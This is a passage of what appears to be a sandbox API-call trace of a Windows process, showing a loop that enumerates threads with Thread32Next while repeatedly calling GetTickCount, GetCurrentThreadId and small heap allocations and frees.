returned 0x11348e3 [0125.769] GetCurrentThreadId () returned 0x134 [0125.769] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.769] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.769] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.770] GetTickCount () returned 0x11348e3 [0125.770] GetCurrentThreadId () returned 0x134 [0125.770] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.770] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.770] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.770] GetTickCount () returned 0x11348e3 [0125.770] GetCurrentThreadId () returned 0x134 [0125.770] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.770] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.770] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.771] GetTickCount () returned 0x11348e3 [0125.771] GetCurrentThreadId () returned 0x134 [0125.771] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.771] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.771] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.772] GetTickCount () returned 0x11348e3 [0125.772] GetCurrentThreadId () returned 0x134 [0125.772] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.772] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.772] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.772] GetTickCount () returned 0x11348e3 [0125.772] GetCurrentThreadId () returned 0x134 [0125.772] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.772] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.772] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.773] GetTickCount () returned 0x11348e3 [0125.773] GetCurrentThreadId () returned 0x134 [0125.773] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.773] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.773] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.774] GetTickCount () returned 0x11348e3 [0125.774] GetCurrentThreadId () returned 0x134 [0125.774] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.774] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.774] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.774] GetTickCount () returned 0x11348e3 [0125.774] GetCurrentThreadId () returned 0x134 [0125.774] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.774] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.774] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.775] GetTickCount () returned 0x11348e3 [0125.775] GetCurrentThreadId () returned 0x134 [0125.775] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.775] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.775] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.776] GetTickCount () returned 0x11348e3 [0125.776] GetCurrentThreadId () returned 0x134 [0125.776] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.776] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.776] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.776] GetTickCount () returned 0x11348e3 [0125.776] GetCurrentThreadId () returned 0x134 [0125.776] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.776] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.776] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.777] GetTickCount () returned 0x11348e3 [0125.777] GetCurrentThreadId () returned 0x134 [0125.777] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.777] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.777] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.778] GetTickCount () returned 0x11348e3 [0125.778] GetCurrentThreadId () returned 0x134 [0125.778] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.778] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.778] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.778] GetTickCount () returned 0x11348f3 [0125.778] GetCurrentThreadId () returned 0x134 [0125.778] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.779] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.779] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.779] GetTickCount () returned 0x11348f3 [0125.779] GetCurrentThreadId () returned 0x134 [0125.779] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.779] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.779] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.780] GetTickCount () returned 0x11348f3 [0125.780] GetCurrentThreadId () returned 0x134 [0125.780] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.780] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.780] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.780] GetTickCount () returned 0x11348f3 [0125.780] GetCurrentThreadId () returned 0x134 [0125.780] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.780] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.781] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.781] GetTickCount () returned 0x11348f3 [0125.781] GetCurrentThreadId () returned 0x134 [0125.781] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.781] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.781] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.782] GetTickCount () returned 0x11348f3 [0125.782] GetCurrentThreadId () returned 0x134 [0125.782] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.782] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.782] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.782] GetTickCount () returned 0x11348f3 [0125.782] GetCurrentThreadId () returned 0x134 [0125.783] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.783] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.783] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.783] GetTickCount () returned 0x11348f3 [0125.783] GetCurrentThreadId () returned 0x134 [0125.783] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.783] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.783] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.784] GetTickCount () returned 0x11348f3 [0125.784] GetCurrentThreadId () returned 0x134 [0125.784] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.784] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.784] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.784] GetTickCount () returned 0x11348f3 [0125.784] GetCurrentThreadId () returned 0x134 [0125.784] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.785] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.785] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.785] GetTickCount () returned 0x11348f3 [0125.785] GetCurrentThreadId () returned 0x134 [0125.785] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.785] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.785] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.786] GetTickCount () returned 0x11348f3 [0125.786] GetCurrentThreadId () returned 0x134 [0125.786] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.786] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.786] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.786] GetTickCount () returned 0x11348f3 [0125.786] GetCurrentThreadId () returned 0x134 [0125.786] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.787] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.787] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.787] GetTickCount () returned 0x11348f3 [0125.787] GetCurrentThreadId () returned 0x134 [0125.787] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.787] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.787] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.788] GetTickCount () returned 0x11348f3 [0125.788] GetCurrentThreadId () returned 0x134 [0125.788] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.788] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.788] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.788] GetTickCount () returned 0x11348f3 [0125.788] GetCurrentThreadId () returned 0x134 [0125.788] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.788] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.789] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.789] GetTickCount () returned 0x11348f3 [0125.789] GetCurrentThreadId () returned 0x134 [0125.789] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.789] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.789] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.790] GetTickCount () returned 0x11348f3 [0125.790] GetCurrentThreadId () returned 0x134 [0125.790] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.790] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.790] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.790] GetTickCount () returned 0x11348f3 [0125.791] GetCurrentThreadId () returned 0x134 [0125.791] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.791] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.791] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.791] GetTickCount () returned 0x11348f3 [0125.791] GetCurrentThreadId () returned 0x134 [0125.791] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.791] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.791] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.792] GetTickCount () returned 0x11348f3 [0125.792] GetCurrentThreadId () returned 0x134 [0125.792] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.792] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.792] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.793] GetTickCount () returned 0x11348f3 [0125.793] GetCurrentThreadId () returned 0x134 [0125.793] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.793] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.793] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.793] GetTickCount () returned 0x11348f3 [0125.793] GetCurrentThreadId () returned 0x134 [0125.793] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.793] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.793] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.794] GetTickCount () returned 0x11348f3 [0125.794] GetCurrentThreadId () returned 0x134 [0125.794] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.794] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.794] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.795] GetTickCount () returned 0x1134902 [0125.795] GetCurrentThreadId () returned 0x134 [0125.795] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.795] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.795] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.795] GetTickCount () returned 0x1134902 [0125.795] GetCurrentThreadId () returned 0x134 [0125.795] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.795] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.795] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.796] GetTickCount () returned 0x1134902 [0125.796] GetCurrentThreadId () returned 0x134 [0125.796] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.796] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.796] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.797] GetTickCount () returned 0x1134902 [0125.797] GetCurrentThreadId () returned 0x134 [0125.797] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.797] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.797] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.797] GetTickCount () returned 0x1134902 [0125.797] GetCurrentThreadId () returned 0x134 [0125.797] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.797] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.797] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.798] GetTickCount () returned 0x1134902 [0125.798] GetCurrentThreadId () returned 0x134 [0125.798] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.798] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.798] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.799] GetTickCount () returned 0x1134902 [0125.799] GetCurrentThreadId () returned 0x134 [0125.799] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.799] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.799] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.799] GetTickCount () returned 0x1134902 [0125.799] GetCurrentThreadId () returned 0x134 [0125.799] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.799] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.800] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.800] GetTickCount () returned 0x1134902 [0125.800] GetCurrentThreadId () returned 0x134 [0125.800] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.800] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.800] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.801] GetTickCount () returned 0x1134902 [0125.801] GetCurrentThreadId () returned 0x134 [0125.801] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.801] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.801] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.801] GetTickCount () returned 0x1134902 [0125.801] GetCurrentThreadId () returned 0x134 [0125.802] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.802] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.802] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.802] GetTickCount () returned 0x1134902 [0125.802] GetCurrentThreadId () returned 0x134 [0125.802] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.802] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.802] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.803] GetTickCount () returned 0x1134902 [0125.803] GetCurrentThreadId () returned 0x134 [0125.803] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.803] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.803] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.803] GetTickCount () returned 0x1134902 [0125.804] GetCurrentThreadId () returned 0x134 [0125.804] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.804] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.804] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.804] GetTickCount () returned 0x1134902 [0125.804] GetCurrentThreadId () returned 0x134 [0125.804] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.804] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.804] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.805] GetTickCount () returned 0x1134902 [0125.805] GetCurrentThreadId () returned 0x134 [0125.805] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.805] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.805] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.806] GetTickCount () returned 0x1134902 [0125.806] GetCurrentThreadId () returned 0x134 [0125.806] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.806] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.806] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.806] GetTickCount () returned 0x1134902 [0125.806] GetCurrentThreadId () returned 0x134 [0125.806] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.806] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.806] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.807] GetTickCount () returned 0x1134902 [0125.807] GetCurrentThreadId () returned 0x134 [0125.807] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.807] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.807] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.808] GetTickCount () returned 0x1134902 [0125.808] GetCurrentThreadId () returned 0x134 [0125.808] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.808] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.808] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.808] GetTickCount () returned 0x1134902 [0125.808] GetCurrentThreadId () returned 0x134 [0125.808] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.808] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.808] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.809] GetTickCount () returned 0x1134902 [0125.809] GetCurrentThreadId () returned 0x134 [0125.809] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.809] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.809] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.810] GetTickCount () returned 0x1134912 [0125.810] GetCurrentThreadId () returned 0x134 [0125.810] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.810] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.810] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.811] GetTickCount () returned 0x1134912 [0125.811] GetCurrentThreadId () returned 0x134 [0125.811] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.811] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.811] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.811] GetTickCount () returned 0x1134912 [0125.811] GetCurrentThreadId () returned 0x134 [0125.811] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.811] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.811] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.812] GetTickCount () returned 0x1134912 [0125.812] GetCurrentThreadId () returned 0x134 [0125.812] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.812] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.812] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.813] GetTickCount () returned 0x1134912 [0125.813] GetCurrentThreadId () returned 0x134 [0125.813] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.813] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.813] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.813] GetTickCount () returned 0x1134912 [0125.813] GetCurrentThreadId () returned 0x134 [0125.813] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.813] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.813] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.814] GetTickCount () returned 0x1134912 [0125.814] GetCurrentThreadId () returned 0x134 [0125.814] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.814] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.814] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.815] GetTickCount () returned 0x1134912 [0125.815] GetCurrentThreadId () returned 0x134 [0125.815] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.815] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.815] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.815] GetTickCount () returned 0x1134912 [0125.815] GetCurrentThreadId () returned 0x134 [0125.815] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.815] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.815] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.816] GetTickCount () returned 0x1134912 [0125.816] GetCurrentThreadId () returned 0x134 [0125.816] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.816] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.816] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.817] GetTickCount () returned 0x1134912 [0125.817] GetCurrentThreadId () returned 0x134 [0125.817] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.817] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.817] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.817] GetTickCount () returned 0x1134912 [0125.817] GetCurrentThreadId () returned 0x134 [0125.817] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.817] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.817] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.818] GetTickCount () returned 0x1134912 [0125.818] GetCurrentThreadId () returned 0x134 [0125.818] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.818] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.818] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.819] 